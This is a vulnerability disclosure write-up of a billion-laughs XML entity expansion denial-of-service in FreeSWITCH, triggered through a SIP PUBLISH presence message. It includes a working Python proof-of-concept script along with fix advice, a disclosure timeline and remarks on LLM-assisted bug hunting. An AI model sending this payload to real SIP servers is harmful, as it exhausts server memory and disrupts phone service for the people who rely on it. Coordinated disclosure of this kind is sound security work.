Note: this was written in September of 2025. This bug is now fixed in the master branch. The report section is verbatim what was sent to SignalWire.
The Freeswitch master branch is vulnerable to denial-of-service via a malicious XML payload sent via a SIP PUBLISH message, used to communicate presence information. The XML payload can contain entity declarations which will be parsed and expanded by the XML parser. These declarations can be nested, leading to their complete expansion being exponentially larger in size than the entity declarations, and requiring arbitrarily large amounts of memory.
To run Freeswitch, I used podman with the example Debian 11 docker image in the Freeswitch repository.
$ git clone https://github.com/signalwire/freeswitch && cd freeswitch/docker/examples/Debian11
$ podman build -t freeswitch-image .
$ podman run -it --entrypoint /usr/local/freeswitch/bin/freeswitch --network=host freeswitch-image
sip_server variable to the address of the freeswitch serverimport socket
sip_server = '192.168.1.209'
sip_port = 5060
# Create a TCP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect to the SIP server
sock.connect((sip_server, 5060))
body = """<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<!ENTITY lol10 "&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;">
]>
<lolz>&lol10;</lolz>
""".replace('\n', '\r\n')
# SIP PUBLISH request for presence
sip_request = (
f"PUBLISH sip:user@{sip_server} SIP/2.0\r\n"
f"Via: SIP/2.0/TCP 192.168.1.2:5080;branch=z9hG4bK12345\r\n"
f"From: <sip:user@{sip_server}>;tag=123456\r\n"
f"To: <sip:user@{sip_server}>\r\n"
f"Call-ID: 1234567890@192.168.1.2\r\n"
f"CSeq: 1 PUBLISH\r\n"
f"Contact: <sip:user@{sip_server}>\r\n"
f"Content-Type: application/pidf+xml\r\n"
f"Expires: 3600\r\n"
f"Event: presence\r\n"
f"Content-Length: {len(body)}\r\n\r\n"
) + body
# Send the SIP request
sock.sendall(sip_request.encode())
# Close the socket
sock.close()
Wait several minutes while the XML parsed and eventually the memory used by freeswitch will start growing. The body of the message can be adapted to use more or less memory.
In a SIP PUBLISH message payload, DTDs are not really necessary or common to use, so they should simply be disallowed.
Having briefly looked at the XML parser, it seems like the parser doesn't allow disabling DTDs via a flag. It could be worth switching to a more widely tested XML library with disabling entity parsing built-in, like libxml2. This would prevent issues with entity parsing, and any other parsing issues that might be present in a custom XML parser.
The way this issue was fixed upstream was by adding depth limits to the XML parser. This will work fine for the immediate future, but the embedded XML parser code is of very low quality, and difficult to read. I am certain that there are more bugs in the parser.
In fact, this was the reason I initially selected this project to look for vulnerabilities in: the XML parser code was of such low quality that I was certain that there were bugs and possibly vulnerabilities in it. I used Gemini to help narrow down where specifically to look in the file. Given how long it has been since I found this, I do not remember whether Gemini suggested the idea of a billion laughs attack, or I independently realized it was possible.
Once I set up the test environment, I initially started fuzzing the XML code. I think I did find an OOB write, but nothing that seemed exploitable.
Given the recent marketing campaign by Anthropic to promote Mythos as being a paradigm shift in how vulnerabilities are discovered, I will mention my view on automated vulnerability discovery. I think the more important effect that Mythos will have is making people realize that LLMs in general make vulnerability research much less tedious. The most tedious part of vulnerability research is finding promising places to look. You can look for a long time and not find anything, but being able to narrow the search space to only promising areas makes life easier. There are many tools that help with this, and LLMs are just another one.
Given that Mythos-like models are probably too expensive to release out in the world for random people to use, LLM assisted vulnerability discovery is probably going to be the paradigm for the foreseeable future. The LLM will help reduce scope to something manageable for a human, and the human will find and validate vulnerabilities.
| Initial report | 2025-09-09 |
| Acknowledgement of receipt | 2025-09-29 |
| Acknowledgement of a security issue | 2025-10-29 |
| Fixed | 2026-05-07 |
| CVE released | 2026-05-14 |